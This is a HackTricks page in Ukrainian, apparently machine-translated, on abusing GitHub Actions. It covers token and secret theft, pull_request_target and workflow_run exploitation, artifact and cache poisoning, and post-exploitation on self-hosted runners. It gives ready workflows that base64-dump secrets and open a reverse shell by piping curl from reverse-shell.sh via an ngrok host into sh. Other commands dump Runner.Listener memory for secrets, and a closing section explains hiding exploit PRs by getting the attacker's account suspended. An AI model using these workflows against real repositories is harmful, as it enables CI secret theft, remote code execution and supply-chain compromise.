Зловживання Github Actions

Reading time: 18 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Основна інформація

На цій сторінці ви знайдете:

  • резюме всіх наслідків для зловмисника, який зміг отримати доступ до Github Action
  • Різні способи отримати доступ до дії:
  • Маючи дозволи на створення дії
  • Зловживання тригерами, пов'язаними з pull request
  • Зловживання іншими зовнішніми техніками доступу
  • Півотування з уже скомпрометованого репозиторію
  • Нарешті, розділ про техніки пост-експлуатації для зловживання дією зсередини (оскільки згадані наслідки)

Резюме наслідків

Для введення про Github Actions перевірте основну інформацію.

Якщо ви можете виконувати довільний код у GitHub Actions в межах репозиторію, ви можете:

  • Викрасти секрети, змонтовані до конвеєра, та зловживати привілеями конвеєра для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS та GCP.
  • Скомпрометувати розгортання та інші артефакти.
  • Якщо конвеєр розгортає або зберігає активи, ви можете змінити кінцевий продукт, що дозволяє здійснити атаку на ланцюг постачання.
  • Виконувати код у кастомних робітниках для зловживання обчислювальною потужністю та півотування до інших систем.
  • Перезаписати код репозиторію, залежно від дозволів, пов'язаних з GITHUB_TOKEN.

GITHUB_TOKEN

Цей "секрет" (який походить з ${{ secrets.GITHUB_TOKEN }} та ${{ github.token }}) надається, коли адміністратор активує цю опцію:

Цей токен є тим самим, який використовуватиме Github Application, тому він може отримати доступ до тих самих кінцевих точок: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

warning

Github повинен випустити потік, який дозволяє крос-репозиторний доступ у GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи GITHUB_TOKEN.

Ви можете побачити можливі дозволи цього токена за адресою: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Зверніть увагу, що токен закінчує термін дії після завершення роботи.
Ці токени виглядають так: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Деякі цікаві речі, які ви можете зробити з цим токеном:

bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

caution

Зверніть увагу, що в кількох випадках ви зможете знайти токени користувачів github всередині середовищ Github Actions або в секретах. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.

Список секретів у виході Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати зворотний шелл з секретами
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, перевіряючи журнали дій:

Дозволене виконання

note

Це був би найпростіший спосіб скомпрометувати Github дії, оскільки цей випадок передбачає, що у вас є доступ до створення нового репозиторію в організації або є права на запис у репозиторії.

Якщо ви в цьому сценарії, ви можете просто перевірити техніки постексплуатації.

Виконання з створення репозиторію

У випадку, якщо члени організації можуть створювати нові репозиторії і ви можете виконувати github дії, ви можете створити новий репозиторій і вкрасти секрети, встановлені на рівні організації.

Виконання з нової гілки

Якщо ви можете створити нову гілку в репозиторії, який вже містить налаштовану Github Action, ви можете модифікувати її, завантажити вміст, а потім виконати цю дію з нової гілки. Таким чином, ви можете екстрагувати секрети на рівні репозиторію та організації (але вам потрібно знати, як вони називаються).

Ви можете зробити модифіковану дію виконуваною вручну, коли створюється PR або коли якийсь код завантажується (залежно від того, наскільки помітними ви хочете бути):

yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

note

Є різні тригери, які можуть дозволити зловмиснику виконати Github Action з іншого репозиторію. Якщо ці тригери налаштовані неналежним чином, зловмисник може зуміти їх скомпрометувати.

pull_request

Тригер робочого процесу pull_request буде виконувати робочий процес щоразу, коли отримується запит на злиття з деякими винятками: за замовчуванням, якщо це перше співробітництво, деякий керівник повинен схвалити виконання робочого процесу:

note

Оскільки за замовчуванням обмеження стосується перших учасників, ви можете внести виправлення дійсної помилки/друкарської помилки і потім надіслати інші PR, щоб зловживати вашими новими привілеями pull_request.

Я це протестував, і це не працює: Інший варіант - створити обліковий запис з ім'ям когось, хто вніс внесок у проект і видалив свій обліковий запис.

Більше того, за замовчуванням запобігає запису прав і доступу до секретів цільового репозиторію, як зазначено в документації:

За винятком GITHUB_TOKEN, секрети не передаються виконавцю, коли робочий процес запускається з форкнутого репозиторію. GITHUB_TOKEN має права лише на читання у запитах на злиття з форкнутими репозиторіями.

Зловмисник може змінити визначення Github Action, щоб виконати довільні дії та додати довільні дії. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження.

caution

Так, якщо зловмисник змінить у PR github action, який буде запущено, його Github Action буде використано, а не той, що з оригінального репозиторію!

Оскільки зловмисник також контролює код, що виконується, навіть якщо немає секретів або прав на запис у GITHUB_TOKEN, зловмисник може, наприклад, завантажити шкідливі артефакти.

pull_request_target

Тригер робочого процесу pull_request_target має права на запис до цільового репозиторію та доступ до секретів (і не запитує дозволу).

Зверніть увагу, що тригер робочого процесу pull_request_target виконується в базовому контексті і не в тому, що надається PR (щоб не виконувати ненадійний код). Для отримання додаткової інформації про pull_request_target перевірте документацію.
Більше того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей пост у блозі github.

Це може виглядати так, ніби виконуваний робочий процес є тим, що визначено в базі, а не в PR, тому це безпечно використовувати pull_request_target, але є кілька випадків, коли це не так.

І цей тригер матиме доступ до секретів.

workflow_run

Тригер workflow_run дозволяє запустити робочий процес з іншого, коли він завершено, запитано або в процесі.

У цьому прикладі робочий процес налаштовано на виконання після завершення окремого робочого процесу "Запустити тести":

yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Крім того, відповідно до документації: Робочий процес, розпочатий подією workflow_run, може доступатися до секретів і записувати токени, навіть якщо попередній робочий процес не був.

Такий робочий процес може бути атакований, якщо він залежить від робочого процесу, який може бути запущений зовнішнім користувачем через pull_request або pull_request_target. Кілька вразливих прикладів можна знайти в цьому блозі. Перший з них полягає в тому, що workflow_run запущений робочий процес завантажує код атакуючого: ${{ github.event.pull_request.head.sha }}
Другий полягає в передачі артефакту з недовіреного коду до робочого процесу workflow_run та використанні вмісту цього артефакту таким чином, що він стає вразливим до RCE.

workflow_call

TODO

TODO: Перевірити, чи при виконанні з pull_request використовується/завантажується код з оригіналу чи з форкнутого PR

Зловживання виконанням з форку

Ми згадали всі способи, якими зовнішній атакуючий може змусити робочий процес GitHub виконуватися, тепер давайте розглянемо, як ці виконання, якщо погано налаштовані, можуть бути зловживані:

Виконання недовіреного чекауту

У випадку pull_request робочий процес буде виконуватися в контексті PR (тому він виконає код шкідливого PR), але хтось повинен спочатку його авторизувати, і він буде виконуватися з деякими обмеженнями.

У випадку робочого процесу, що використовує pull_request_target або workflow_run, який залежить від робочого процесу, що може бути запущений з pull_request_target або pull_request, код з оригінального репозиторію буде виконуватися, тому атакуючий не може контролювати виконуваний код.

caution

Однак, якщо дія має явний чекаут PR, який отримає код з PR (а не з бази), вона використовуватиме код, контрольований атакуючим. Наприклад (перевірте рядок 12, де завантажується код PR):

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Потенційно недовірений код виконується під час npm install або npm build, оскільки скрипти збірки та посилання на пакети контролюються автором PR.

warning

GitHub dork для пошуку вразливих дій: event.pull_request pull_request_target extension:yml, однак існують різні способи налаштування робочих процесів для безпечного виконання, навіть якщо дія налаштована ненадійно (наприклад, використовуючи умовності про те, хто є актором, що генерує PR).

Впровадження скриптів у контексті

Зверніть увагу, що є певні контексти GitHub, значення яких контролюються користувачем, що створює PR. Якщо дія GitHub використовує ці дані для виконання чого-небудь, це може призвести до виконання довільного коду:

Gh Actions - Context Script Injections

Впровадження скриптів GITHUB_ENV

З документації: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків у робочому процесі, визначивши або оновивши змінну середовища та записавши це у файл середовища GITHUB_ENV.

Якщо атакуючий може впровадити будь-яке значення в цю змінну середовища, він може впровадити змінні середовища, які можуть виконувати код у наступних кроках, такі як LD_PRELOAD або NODE_OPTIONS.

Наприклад (це і це), уявіть робочий процес, який довіряє завантаженому артефакту для зберігання його вмісту в змінній середовища GITHUB_ENV. Атакуючий може завантажити щось на зразок цього, щоб скомпрометувати його:

Вразливі сторонні дії GitHub

dawidd6/action-download-artifact

Як згадувалося в цьому блозі, ця дія GitHub дозволяє отримувати артефакти з різних робочих процесів і навіть репозиторіїв.

Проблема в тому, що якщо параметр path не встановлений, артефакт витягується в поточний каталог, і він може перезаписати файли, які можуть бути пізніше використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакуючий може зловживати цим, щоб скомпрометувати інші робочі процеси, які довіряють артефакту.

Приклад вразливого робочого процесу:

yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Це може бути атаковано за допомогою цього робочого процесу:

yaml
name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Інший зовнішній доступ

Викрадення видаленого простору імен репозиторію

Якщо обліковий запис змінює своє ім'я, інший користувач може зареєструвати обліковий запис з цим ім'ям через деякий час. Якщо репозиторій мав менше 100 зірок до зміни імені, Github дозволить новому зареєстрованому користувачу з таким же ім'ям створити репозиторій з таким же ім'ям, як і той, що був видалений.

caution

Тому, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію.

Якщо інші репозиторії використовували залежності з репозиторіїв цього користувача, зловмисник зможе їх викрасти. Тут ви маєте більш детальне пояснення: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Поворот репозиторію

note

У цьому розділі ми поговоримо про техніки, які дозволять поворот з одного репозиторію в інший, припускаючи, що у нас є якийсь доступ до першого (перевірте попередній розділ).

Отруєння кешу

Кеш підтримується між виконаннями робочого процесу в одному гілці. Це означає, що якщо зловмисник скомпрометує пакет, який потім зберігається в кеші і завантажується та виконується більш привілейованим робочим процесом, він зможе також скомпрометувати цей робочий процес.

GH Actions - Cache Poisoning

Отруєння артефактів

Робочі процеси можуть використовувати артефакти з інших робочих процесів і навіть репозиторіїв, якщо зловмисник зможе скомпрометувати Github Action, яка завантажує артефакт, що пізніше використовується іншим робочим процесом, він може скомпрометувати інші робочі процеси:

Gh Actions - Artifact Poisoning


Постексплуатація з дії

Доступ до AWS та GCP через OIDC

Перевірте наступні сторінки:

AWS - Federation Abuse

GCP - Federation Abuse

Доступ до секретів

Якщо ви впроваджуєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів:

  • Якщо секрет або токен встановлено в змінну середовища, його можна безпосередньо отримати через середовище, використовуючи printenv.
Список секретів у виході Github Action
yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Отримати зворотний шелл з секретами
yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Якщо секрет використовується безпосередньо в виразі, згенерований shell-скрипт зберігається на диску і доступний.

cat /home/runner/work/_temp/*

- Для JavaScript дій секрети передаються через змінні середовища.
- ```bash
ps axe | grep node
  • Для кастомної дії ризик може варіюватися в залежності від того, як програма використовує секрет, отриманий з аргументу:
yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Зловживання самостійно хостованими виконавцями

Спосіб знайти, які Github Actions виконуються в не-Github інфраструктурі, - це шукати runs-on: self-hosted у конфігураційному yaml файлі Github Action.

Самостійно хостовані виконавці можуть мати доступ до додаткової чутливої інформації, до інших мережевих систем (вразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, більше ніж одна дія може виконуватися одночасно і зловмисна може викрасти секрети іншої.

У самостійно хостованих виконавцях також можливо отримати секрети з процесу _Runner.Listener_** який міститиме всі секрети робочих процесів на будь-якому етапі, скидаючи його пам'ять:

bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Перевірте цей пост для отримання додаткової інформації.

Github Docker Images Registry

Можливо створити Github дії, які будують і зберігають Docker-образ всередині Github.
Приклад можна знайти в наступному розширювальному:

Github Action Build & Push Docker Image
yaml
[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Як ви могли бачити в попередньому коді, реєстр Github розміщений на ghcr.io.

Користувач з правами читання над репозиторієм зможе завантажити Docker Image, використовуючи особистий токен доступу:

bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Тоді користувач може шукати викрадені секрети в шарах Docker-образу:

Docker Forensics - HackTricks

Чутлива інформація в журналах Github Actions

Навіть якщо Github намагається виявити секретні значення в журналах дій і уникнути їх відображення, інша чутлива інформація, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не налаштовано спеціально.

Приховування своїх слідів

(Техніка з тут) По-перше, будь-який PR, що подається, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми не можемо видалити PR з інтернету, але є нюанс. Для облікових записів GitHub, які припинені GitHub, всі їхні PR автоматично видаляються і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі. Це сховає всі ваші активності на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR)

Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений за 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github.

warning

Єдиний спосіб для організації дізнатися, що вони стали мішенню, - це перевірити журнали GitHub з SIEM, оскільки з інтерфейсу GitHub PR буде видалено.

Інструменти

Наступні інструменти корисні для знаходження робочих процесів Github Action і навіть для знаходження вразливих:

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks